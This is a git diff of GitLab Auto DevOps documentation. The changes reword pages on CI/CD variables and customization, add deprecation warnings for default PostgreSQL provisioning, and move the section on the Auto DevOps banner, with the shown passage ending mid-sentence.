`AUTO_DEPLOY_IMAGE_VERSION`. See [list of versions](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/releases). | -| `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](customize.md#custom-dockerfile) | -| `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. | -| `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. | +| `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](customize.md#custom-dockerfiles) | +| `HELM_RELEASE_NAME` | Allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. | +| `HELM_UPGRADE_VALUES_FILE` | Allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. | | `HELM_UPGRADE_EXTRA_ARGS` | Allows extra options in `helm upgrade` commands when deploying the application. Using quotes doesn't prevent word splitting. | | `INCREMENTAL_ROLLOUT_MODE` | If present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. | | `K8S_SECRET_*` | Any variable prefixed with [`K8S_SECRET_`](#configure-application-secret-variables) is made available by Auto DevOps as environment variables to the deployed application. | @@ -53,27 +53,31 @@ Use these variables to customize and deploy your build. | `KUBE_NAMESPACE` | The namespace used for deployments. When using certificate-based clusters, [this value should not be overwritten directly](../../user/project/clusters/deploy_to_cluster.md#custom-namespace). | | `KUBECONFIG` | The kubeconfig to use for deployments. User-provided values take priority over GitLab-provided values. | | `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. | -| `REPLICAS` | Number of replicas to deploy. Defaults to 1. Change this variable instead of [modifying](customize.md#customize-values-for-helm-chart) `replicaCount`. | +| `REPLICAS` | Number of replicas to deploy. Defaults to 1. Change this variable instead of [modifying](customize.md#customize-helm-chart-values) `replicaCount`. | | `ROLLOUT_RESOURCE_TYPE` | Allows specification of the resource type being deployed when using a custom Helm chart. Default value is `deployment`. | -| `ROLLOUT_STATUS_DISABLED` | From GitLab 12.0, used to disable rollout status check because it does not support all resource types, for example, `cronjob`. | +| `ROLLOUT_STATUS_DISABLED` | Used to disable rollout status check because it does not support all resource types, for example, `cronjob`. | | `STAGING_ENABLED` | Used to define a [deploy policy for staging and production environments](#deploy-policy-for-staging-and-production-environments). | | `TRACE` | Set to any value to make Helm commands produce verbose output. You can use this setting to help diagnose Auto DevOps deployment problems. | ## Database variables +WARNING: +The default value of `true` for `POSTGRES_ENABLED` was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387766) +in GitLab 15.8. In [GitLab 16.0](https://gitlab.com/gitlab-org/gitlab/-/issues/343988), the default value will change to `false`. + Use these variables to integrate CI/CD with PostgreSQL databases. | **CI/CD variable** | **Description** | |-----------------------------------------|------------------------------------| | `DB_INITIALIZE` | Used to specify the command to run to initialize the application's PostgreSQL database. Runs inside the application pod. | | `DB_MIGRATE` | Used to specify the command to run to migrate the application's PostgreSQL database. Runs inside the application pod. | -| `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true`. Set to `false` to disable the automatic deployment of PostgreSQL. | +| `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true` until GitLab 16.0, when the default will change to `false`. Set to `false` to disable the automatic deployment of PostgreSQL. | | `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. | | `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. | | `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/index.md#predefined-cicd-variables). Set it to use a custom database name. | | `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. | | `POSTGRES_HELM_UPGRADE_VALUES_FILE` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows the `helm upgrade` values file for PostgreSQL to be overridden. Defaults to `.gitlab/auto-deploy-postgres-values.yaml`. | -| `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows extra PostgreSQL options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. | +| `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` | In GitLab 13.8 and later, and when using [auto-deploy-image v2](upgrading_auto_deploy_dependencies.md), this variable allows extra PostgreSQL options in `helm upgrade` commands when deploying the application. Using quotes doesn't prevent word splitting. | | `POSTGRES_CHART_REPOSITORY` | Helm Chart repository used to search for PostgreSQL chart. Defaults to `https://raw.githubusercontent.com/bitnami/charts/eb5f9a9513d987b519f0ecd732e7031241c50328/bitnami`. | | `POSTGRES_CHART_VERSION` | Helm Chart version used for PostgreSQL chart. Defaults to `8.2.1`. | @@ -134,6 +138,10 @@ Auto DevOps detects CI/CD variables starting with `K8S_SECRET_`, and makes them available to the deployed application as environment variables. +Prerequisite: + +- The variable value must be a single line. + To configure secret variables: 1. On the top bar, select **Main menu > Projects** and find your project. @@ -190,7 +198,7 @@ limitations with the Auto DevOps scripting environment. Add replica variables when you want to scale your deployments: -1. Add a replica variable as a [project CI/CD variable](../../ci/variables/index.md#add-a-cicd-variable-to-a-project). +1. Add a replica variable as a [project CI/CD variable](../../ci/variables/index.md#for-a-project). 1. To scale your application, redeploy it. WARNING: @@ -290,7 +298,7 @@ You can run the rollout jobs in any order. To scale down, rerun a lower percentage job. After you run the `rollout 100%` job, you cannot scale down, and must -[rollback your deployment](../../ci/environments/index.md#retry-or-roll-back-a-deployment). +[roll back your deployment](../../ci/environments/index.md#retry-or-roll-back-a-deployment). ### Example incremental rollout configurations @@ -310,9 +318,6 @@ With `INCREMENTAL_ROLLOUT_MODE` set to `manual` and with `STAGING_ENABLED`:  -WARNING: -This configuration is deprecated, and is scheduled to be removed in the future. - ## Timed incremental rollout to production **(PREMIUM)** Use a timed incremental rollout to continuously deploy your application, starting with diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index c42f5825b6a..776112d6303 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -4,23 +4,46 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Customizing Auto DevOps **(FREE)** +# Customize Auto DevOps **(FREE)** -While [Auto DevOps](index.md) provides great defaults to get you started, you can customize -almost everything to fit your needs. Auto DevOps offers everything from custom -[buildpacks](#custom-buildpacks), to [Dockerfiles](#custom-dockerfile), and -[Helm charts](#custom-helm-chart). You can even copy the complete -[CI/CD configuration](#customizing-gitlab-ciyml) into your project to enable -staging and canary deployments, -[manage Auto DevOps with GitLab APIs](customize.md#extend-auto-devops-with-the-api), and more. +You can customize components of Auto DevOps to fit your needs. For example, you can: + +- Add custom [buildpacks](#custom-buildpacks), [Dockerfiles](#custom-dockerfiles), and [Helm charts](#custom-helm-chart). +- Enable staging and canary deployments with a custom [CI/CD configuration](#customize-gitlab-ciyml). +- Extend Auto DevOps with the [GitLab API](#extend-auto-devops-with-the-api). + +## Auto DevOps banner + +When Auto DevOps is not enabled, a banner displays for users with at +least the Maintainer role: + + + +The banner can be disabled for: + +- A user, when they dismiss it themselves. +- A project, by explicitly [disabling Auto DevOps](index.md#enable-or-disable-auto-devops). +- An entire GitLab instance: + - By an administrator running the following in a Rails console: + + ```ruby + Feature.enable(:auto_devops_banner_disabled) + ``` + + - Through the REST API with an administrator access token: + + ```shell + curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" "https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled" + ``` ## Custom buildpacks -If the automatic buildpack detection fails for your project, or if you -need more control over your build, you can customize the buildpacks -used for the build. +You can customize your buildpacks when either: -### Custom buildpacks with Cloud Native Buildpacks +- The automatic buildpack detection fails for your project. +- You need more control over your build. + +### Customize buildpacks with Cloud Native Buildpacks > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165) in GitLab 12.10. @@ -29,17 +52,18 @@ Specify either: - The CI/CD variable `BUILDPACK_URL` with any of [`pack`'s URI specification formats](https://buildpacks.io/docs/app-developer-guide/specify-buildpacks/). - A [`project.toml` project descriptor](https://buildpacks.io/docs/app-developer-guide/using-project-descriptor/) with the buildpacks you would like to include. -### Custom buildpacks with Herokuish +### Customize buildpacks with Herokuish Specify either: - The CI/CD variable `BUILDPACK_URL`. -- A `.buildpacks` file at the root of your project, containing one buildpack URL per line. +- A `.buildpacks` file at the root of your project that contains one buildpack URL per line. The buildpack URL can point to either a Git repository URL or a tarball URL. -For Git repositories, you can point to a specific Git reference (such as -commit SHA, tag name, or branch name) by appending `#<ref>` to the Git repository URL. -For example: + +For Git repositories, you can point to a specific Git reference by +appending `#<ref>` to the Git repository URL. For example, you can +reference: - The tag `v142`: `https://github.com/heroku/heroku-buildpack-ruby.git#v142`. - The branch `mybranch`: `https://github.com/heroku/heroku-buildpack-ruby.git#mybranch`. @@ -47,35 +71,38 @@ For example: ### Multiple buildpacks -Using multiple buildpacks is not fully supported by Auto DevOps, because Auto Test -can't use the `.buildpacks` file. The buildpack -[heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/), used -in the backend to parse the `.buildpacks` file, does not provide the necessary commands -`bin/test-compile` and `bin/test`. +Because Auto Test cannot use the `.buildpacks` file, Auto DevOps does +not support multiple buildpacks. The buildpack +[heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/), +used in the backend to parse the `.buildpacks` file, does not provide +the necessary commands `bin/test-compile` and `bin/test`. -If your goal is to use only a single custom buildpack, you should provide the project CI/CD variable +To use only a single custom buildpack, you should provide the project CI/CD variable `BUILDPACK_URL` instead. -## Custom `Dockerfile` +## Custom Dockerfiles -> Support for `DOCKERFILE_PATH` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35662) in GitLab 13.2 +> `DOCKERFILE_PATH` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35662) in GitLab 13.2. -If your project has a `Dockerfile` in the root of the project repository, Auto DevOps -builds a Docker image based on the Dockerfile, rather than using buildpacks. -This can be much faster and result in smaller images, especially if your -Dockerfile is based on [Alpine](https://hub.docker.com/_/alpine/). +If you have a Dockerfile in the root of your project repository, Auto +DevOps builds a Docker image based on the Dockerfile. This can be +faster than using a buildpack. It can also result in smaller images, +especially if your Dockerfile is based on +[Alpine](https://hub.docker.com/_/alpine/). If you set the `DOCKERFILE_PATH` CI/CD variable, Auto Build looks for a Dockerfile there instead. -## Passing arguments to `docker build` +### Pass arguments to `docker build` + +You can pass arguments to `docker build` with the +`AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` project CI/CD variable. -Arguments can be passed to the `docker build` command using the -`AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` project CI/CD variable. For example, to build a -Docker image based on based on the `ruby:alpine` instead of the default `ruby:latest`: +For example, to build a Docker image based on based on the +`ruby:alpine` instead of the default `ruby:latest`: 1. Set `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` to `--build-arg=RUBY_VERSION=alpine`. -1. Add the following to a custom `Dockerfile`: +1. Add the following to a custom Dockerfile: ```dockerfile ARG RUBY_VERSION=latest @@ -84,14 +111,12 @@ Docker image based on based on the `ruby:alpine` instead of the default `ruby:la # ... put your stuff here ``` -Use Base64 encoding if you need to pass complex values, such as newlines and -spaces. Left unencoded, complex values like these can cause escaping issues -due to how Auto DevOps uses the arguments. +To pass complex values like spaces and newlines, use Base64 encoding. +Complex, unencoded values can cause issues with character escaping. WARNING: -Avoid passing secrets as Docker build arguments if possible, as they may be -persisted in your image. See -[this discussion of best practices with secrets](https://github.com/moby/moby/issues/13490) for details. +Do not pass secrets as Docker build arguments. Secrets might persist in your image. For more information, see +[this discussion of best practices with secrets](https://github.com/moby/moby/issues/13490). ## Custom container image @@ -104,12 +129,12 @@ You can override this behavior by defining specific variables: | Image Tag | `$CI_COMMIT_SHA` for branch pipelines. `$CI_COMMIT_TAG` for tag pipelines. | `$CI_APPLICATION_TAG` | These variables also affect Auto Build and Auto Container Scanning. If you don't want to build and push an image to -`$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`, consider -including only `Jobs/Deploy.gitlab-ci.yml`, or [disabling the `build` jobs](cicd_variables.md#job-disabling-variables). +`$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`, include only `Jobs/Deploy.gitlab-ci.yml`, or +[disable the `build` jobs](cicd_variables.md#job-disabling-variables). If you use Auto Container Scanning and set a value for `$CI_APPLICATION_REPOSITORY`, then you should -also update `$CS_DEFAULT_BRANCH_IMAGE`. See [Setting the default branch image](../../user/application_security/container_scanning/index.md#setting-the-default-branch-image) -for more details. +also update `$CS_DEFAULT_BRANCH_IMAGE`. For more information, see +[Setting the default branch image](../../user/application_security/container_scanning/index.md#setting-the-default-branch-image). Here is an example setup in your `.gitlab-ci.yml`: @@ -123,141 +148,129 @@ variables: You can extend and manage your Auto DevOps configuration with GitLab APIs: -- [Settings that can be accessed with API calls](../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls), +- [Use API calls to access settings](../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls), which include `auto_devops_enabled`, to enable Auto DevOps on projects by default. -- [Creating a new project](../../api/projects.md#create-project). -- [Editing groups](../../api/groups.md#update-group). -- [Editing projects](../../api/projects.md#edit-project). +- [Create a new project](../../api/projects.md#create-project). +- [Edit groups](../../api/groups.md#update-group). +- [Edit projects](../../api/projects.md#edit-project). ## Forward CI/CD variables to the build environment -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25514) in GitLab 12.3, but available in GitLab 12.0 and later. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25514) in GitLab 12.3. -CI/CD variables can be forwarded into the build environment using the -`AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` CI/CD variable. -The forwarded variables should be specified by name in a comma-separated -list. For example, to forward the variables `CI_COMMIT_SHA` and -`CI_ENVIRONMENT_NAME`, set `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` -to `CI_COMMIT_SHA,CI_ENVIRONMENT_NAME`. +To forward CI/CD variables to the build environment, add the names of the variables +you want to forward to the `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` CI/CD variable. +Separate multiple variables with commas. -- When using Buildpacks, the forwarded variables are available automatically - as environment variables. -- When using a `Dockerfile`, the following additional steps are required: +For example, to forward the variables `CI_COMMIT_SHA` and `CI_ENVIRONMENT_NAME`: - 1. Activate the experimental `Dockerfile` syntax by adding the following code - to the top of the file: +```yaml +variables: + AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES: CI_COMMIT_SHA,CI_ENVIRONMENT_NAME +``` + +If you use buildpacks, the forwarded variables are available automatically as environment variables. - ```dockerfile - # syntax = docker/dockerfile:experimental - ``` +If you use a Dockerfile: - 1. To make secrets available in any `RUN $COMMAND` in the `Dockerfile`, mount - the secret file and source it prior to running `$COMMAND`: +1. To activate the experimental Dockerfile syntax, add the following to your Dockerfile: + + ```dockerfile + # syntax = docker/dockerfile:experimental + ``` - ```dockerfile - RUN --mount=type=secret,id=auto-devops-build-secrets . /run/secrets/auto-devops-build-secrets && $COMMAND - ``` +1. To make secrets available in any `RUN $COMMAND` in the `Dockerfile`, mount + the secret file and source it before you run `$COMMAND`: + + ```dockerfile + RUN --mount=type=secret,id=auto-devops-build-secrets . /run/secrets/auto-devops-build-secrets && $COMMAND + ``` When `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` is set, Auto DevOps enables the experimental [Docker BuildKit](https://docs.docker.com/build/buildkit/) feature to use the `--secret` flag. -## Custom Helm Chart +## Custom Helm chart Auto DevOps uses [Helm](https://helm.sh/) to deploy your application to Kubernetes. -You can override the Helm chart used by bundling up a chart into your project +You can override the Helm chart used by bundling a chart in your project repository or by specifying a project CI/CD variable: - **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml` file in it, Auto DevOps detects the chart and uses it instead of the - [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling - you to control exactly how your application is deployed. + [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). - **Project variable** - Create a [project CI/CD variable](../../ci/variables/index.md) - `AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project - variables: `AUTO_DEVOPS_CHART_REPOSITORY` with the URL of a custom chart repository, - and `AUTO_DEVOPS_CHART` with the path to the chart. + `AUTO_DEVOPS_CHART` with the URL of a custom chart. You can also create two project + variables: -## Customize values for Helm Chart + - `AUTO_DEVOPS_CHART_REPOSITORY` - The URL of a custom chart repository. + - `AUTO_DEVOPS_CHART` - The path to the chart. + +### Customize Helm chart values > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` is used by default for Helm upgrades. -You can override the default values in the `values.yaml` file in the -[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either: +To override the default values in the `values.yaml` file in the +[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), either: -- Adding a file named `.gitlab/auto-deploy-values.yaml` to your repository, which is - automatically used, if found. -- Adding a file with a different name or path to the repository, and setting the - `HELM_UPGRADE_VALUES_FILE` [CI/CD variable](cicd_variables.md) with - the path and name. +- Add a file named `.gitlab/auto-deploy-values.yaml` to your repository. This file is automatically used. +- Add a file with a different name or path to the repository. Set the + `HELM_UPGRADE_VALUES_FILE` [CI/CD variable](cicd_variables.md) with the path and name of the file. -Some values cannot be overridden with the options above. Settings like `replicaCount` should instead be overridden with the `REPLICAS` -[build and deployment](cicd_variables.md#build-and-deployment-variables) CI/CD variable. Follow [this issue](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/31) for more information. +Some values cannot be overridden with the options above, but [this issue](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/31) proposes to change this behavior. +To override settings like `replicaCount`, use the `REPLICAS` [build and deployment](cicd_variables.md#build-and-deployment-variables) CI/CD variable. -NOTE: -For GitLab 12.5 and earlier, use the `HELM_UPGRADE_EXTRA_ARGS` variable -to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `--values <my-values.yaml>`. +### Customize `helm upgrade` -## Customize the `helm upgrade` command +The [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) uses the `helm upgrade` command. +To customize this command, pass it options with the `HELM_UPGRADE_EXTRA_ARGS` CI/CD variable. -You can customize the `helm upgrade` command used in the [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) -by passing options to the command with the `HELM_UPGRADE_EXTRA_ARGS` CI/CD variable. -For example, set the value of `HELM_UPGRADE_EXTRA_ARGS` to `--no-hooks` to disable -pre-upgrade and post-upgrade hooks when the command is executed. +For example, to disable pre- and post-upgrade hooks when `helm upgrade` runs: -See [the official documentation](https://helm.sh/docs/helm/helm_upgrade/) for the full -list of options. +```yaml +variables: + HELM_UPGRADE_EXTRA_ARGS: --no-hooks +``` -## Custom Helm chart per environment +For a full list of options, see [the official `helm upgrade` documentation](https://helm.sh/docs/helm/helm_upgrade/). -You can specify the use of a custom Helm chart per environment by scoping the CI/CD variable -to the desired environment. See [Limit environment scope of CI/CD variables](../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable). +### Limit a Helm chart to one environment -## Customizing `.gitlab-ci.yml` +To limit a custom chart to one environment, add the environment scope to your CI/CD variables. +For more information, see [Limit the environment scope of CI/CD variables](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). -Auto DevOps is completely customizable because the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) -is just an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/index.md) file, -and uses only features available to any implementation of `.gitlab-ci.yml`. +## Customize `.gitlab-ci.yml` -To modify the CI/CD pipeline used by Auto DevOps, -[`include` the template](../../ci/yaml/index.md#includetemplate), and customize -it as needed by adding a `.gitlab-ci.yml` file to the root of your repository -containing the following: +Auto DevOps is highly customizable because the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +is an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/index.md) file. +The template uses only features available to any implementation of `.gitlab-ci.yml`. -```yaml -include: - - template: Auto-DevOps.gitlab-ci.yml -``` +To add custom behaviors to the CI/CD pipeline used by Auto DevOps: -Add your changes, and your additions are merged with the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) -using the behavior described for [`include`](../../ci/yaml/index.md#include). +1. To the root of your repository, add a `.gitlab-ci.yml` file with the following contents: -If you need to specifically remove a part of the file, you can also copy and paste the contents of the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) -into your project and edit it as needed. + ```yaml + include: + - template: Auto-DevOps.gitlab-ci.yml + ``` -## Use multiple Kubernetes clusters +1. Add your changes to the `.gitlab-ci.yml` file. Your changes are merged with the Auto DevOps template. For more information about +how `include` merges your changes, see [the `include` documentation](../../ci/yaml/index.md#include). -See [Multiple Kubernetes clusters for Auto DevOps](multiple_clusters_auto_devops.md). +To remove behaviors from the Auto DevOps pipeline: -## Customizing the Kubernetes namespace +1. Copy the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +into your project. +1. Edit your copy of the template as needed. -In GitLab 14.5 and earlier, you could use `environment:kubernetes:namespace` -to specify a namespace for the environment. -However, this feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8), -along with certificate-based integration. - -You should now use the `KUBE_NAMESPACE` environment variable and -[limit the environments it is available for](../../ci/environments/index.md#scope-environments-with-specs). +### Use individual components of Auto DevOps -## Using components of Auto DevOps +If you only require a subset of the features offered by Auto DevOps, +you can include individual Auto DevOps jobs in your own +`.gitlab-ci.yml`. Be sure to also define the stage required by each +job in your `.gitlab-ci.yml` file. -If you only require a subset of the features offered by Auto DevOps, you can include -individual Auto DevOps jobs into your own `.gitlab-ci.yml`. Each component job relies -on a stage that should be defined in the `.gitlab-ci.yml` that includes the template. - -For example, to make use of [Auto Build](stages.md#auto-build), you can add the following to +For example, to use [Auto Build](stages.md#auto-build), you can add the following to your `.gitlab-ci.yml`: ```yaml @@ -268,26 +281,39 @@ include: - template: Jobs/Build.gitlab-ci.yml ``` -See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs. +For a list of available jobs, see the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml). WARNING: -Auto DevOps templates using the [`only`](../../ci/yaml/index.md#only--except) or +From [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336), +Auto DevOps templates that use the [`only`](../../ci/yaml/index.md#only--except) or [`except`](../../ci/yaml/index.md#only--except) syntax have switched -to the [`rules`](../../ci/yaml/index.md#rules) syntax, starting in -[GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336). -If your `.gitlab-ci.yml` extends these Auto DevOps templates and override the `only` or -`except` keywords, you must migrate your templates to use the -[`rules`](../../ci/yaml/index.md#rules) syntax after the -base template is migrated to use the `rules` syntax. -For users who cannot migrate just yet, you can alternatively pin your templates to +to the [`rules`](../../ci/yaml/index.md#rules) syntax. +If your `.gitlab-ci.yml` extends these Auto DevOps templates and overrides `only` or +`except`, migrate your templates to the +[`rules`](../../ci/yaml/index.md#rules) syntax. +If you cannot migrate, you can pin your templates to the [GitLab 12.10 based templates](https://gitlab.com/gitlab-org/auto-devops-v12-10). +## Use multiple Kubernetes clusters + +See [Multiple Kubernetes clusters for Auto DevOps](multiple_clusters_auto_devops.md). + +## Customizing the Kubernetes namespace + +In GitLab 14.5 and earlier, you could use `environment:kubernetes:namespace` +to specify a namespace for the environment. +However, this feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8), +along with certificate-based integration. + +You should now use the `KUBE_NAMESPACE` environment variable and +[limit its environment scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). + ## Use images hosted in a local Docker registry You can configure many Auto DevOps jobs to run in an [offline environment](../../user/application_security/offline_deployments/index.md): 1. Copy the required Auto DevOps Docker images from Docker Hub and `registry.gitlab.com` to their local GitLab container registry. -1. After the images are hosted and available in a local registry, edit `.gitlab-ci.yml` to point to the locally-hosted images. For example: +1. After the images are hosted and available in a local registry, edit `.gitlab-ci.yml` to point to the locally hosted images. For example: ```yaml include: @@ -305,10 +331,18 @@ You can configure many Auto DevOps jobs to run in an [offline environment](../.. ## PostgreSQL database support -To support applications requiring a database, -[PostgreSQL](https://www.postgresql.org/) is provisioned by default. The credentials to access -the database are preconfigured, but can be customized by setting the associated -[CI/CD variables](cicd_variables.md). You can use these credentials to define a `DATABASE_URL`: +WARNING: +Provisioning a PostgreSQL database by default was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387766) +in GitLab 15.8 and will no longer be the default from 16.0. To enable database provisioning, set +the associated [CI/CD variable](cicd_variables.md#database-variables). + +To support applications that require a database, +[PostgreSQL](https://www.postgresql.org/) is provisioned by default. +The credentials to access the database are preconfigured. + +To customize the credentials, set the associated +[CI/CD variables](cicd_variables.md). You can also +define a custom `DATABASE_URL`: ```yaml postgres://user:password@postgres-host:postgres-port/postgres-database @@ -316,24 +350,20 @@ postgres://user:password@postgres-host:postgres-port/postgres-database ### Upgrading PostgreSQL -WARNING: -The CI/CD variable `AUTO_DEVOPS_POSTGRES_CHANNEL` that controls default provisioned -PostgreSQL was changed to `2` in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/210499). -To keep using the old PostgreSQL, set the `AUTO_DEVOPS_POSTGRES_CHANNEL` variable to -`1`. - -The version of the chart used to provision PostgreSQL: - -- Is 8.2.1 in GitLab 13.0 and later, but can be set back to 0.7.1 if needed. -- Can be set to from 0.7.1 to 8.2.1 in GitLab 12.9 and 12.10. -- Is 0.7.1 in GitLab 12.8 and earlier. +GitLab uses chart version 8.2.1 to provision PostgreSQL by default. +You can set the version from 0.7.1 to 8.2.1. -GitLab encourages users to [migrate their database](upgrading_postgresql.md) +If you use an older chart version, you should [migrate your database](upgrading_postgresql.md) to the newer PostgreSQL. +The CI/CD variable `AUTO_DEVOPS_POSTGRES_CHANNEL` that controls default provisioned +PostgreSQL changed to `2` in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/210499). +To use the old PostgreSQL, set the `AUTO_DEVOPS_POSTGRES_CHANNEL` variable to +`1`. + ### Customize values for PostgreSQL Helm Chart -> [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/113) in auto-deploy-image v2, in GitLab 13.8. +> [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/113) in GitLab 13.8 with auto-deploy-image v2. To set custom values, do one of the following: @@ -344,53 +374,26 @@ To set custom values, do one of the following: and name. - Set the `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` [environment variable](cicd_variables.md#database-variables). -### Using external PostgreSQL database providers +### Use external PostgreSQL database providers -While Auto DevOps provides out-of-the-box support for a PostgreSQL container for -production environments, for some use cases, it may not be sufficiently secure or -resilient, and you may want to use an external managed provider (such as -AWS Relational Database Service) for PostgreSQL. +Auto DevOps provides out-of-the-box support for a PostgreSQL container +for production environments. However, you might want to use an +external managed provider like AWS Relational Database Service. -You must define environment-scoped CI/CD variables for `POSTGRES_ENABLED` and -`DATABASE_URL` in your project's CI/CD settings: +To use an external managed provider: -1. Disable the built-in PostgreSQL installation for the required environments using - environment-scoped [CI/CD variables](../../ci/environments/index.md#scope-environments-with-specs). - For this use case, it's likely that only `production` must be added to this - list. The built-in PostgreSQL setup for Review Apps and staging is sufficient. +1. Disable the built-in PostgreSQL installation for the required environments with + environment-scoped [CI/CD variables](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). + Because the built-in PostgreSQL setup for Review Apps and staging is sufficient, you might only need to + disable the installation for `production`.  -1. Define the `DATABASE_URL` variable as an environment-scoped variable that is +1. Define the `DATABASE_URL` variable as an environment-scoped variable available to your application. This should be a URL in the following format: ```yaml postgres://user:password@postgres-host:postgres-port/postgres-database ``` -You must ensure that your Kubernetes cluster has network access to wherever -PostgreSQL is hosted. - -## Auto DevOps banner - -The following Auto DevOps banner displays for users with Maintainer or greater -permissions on new 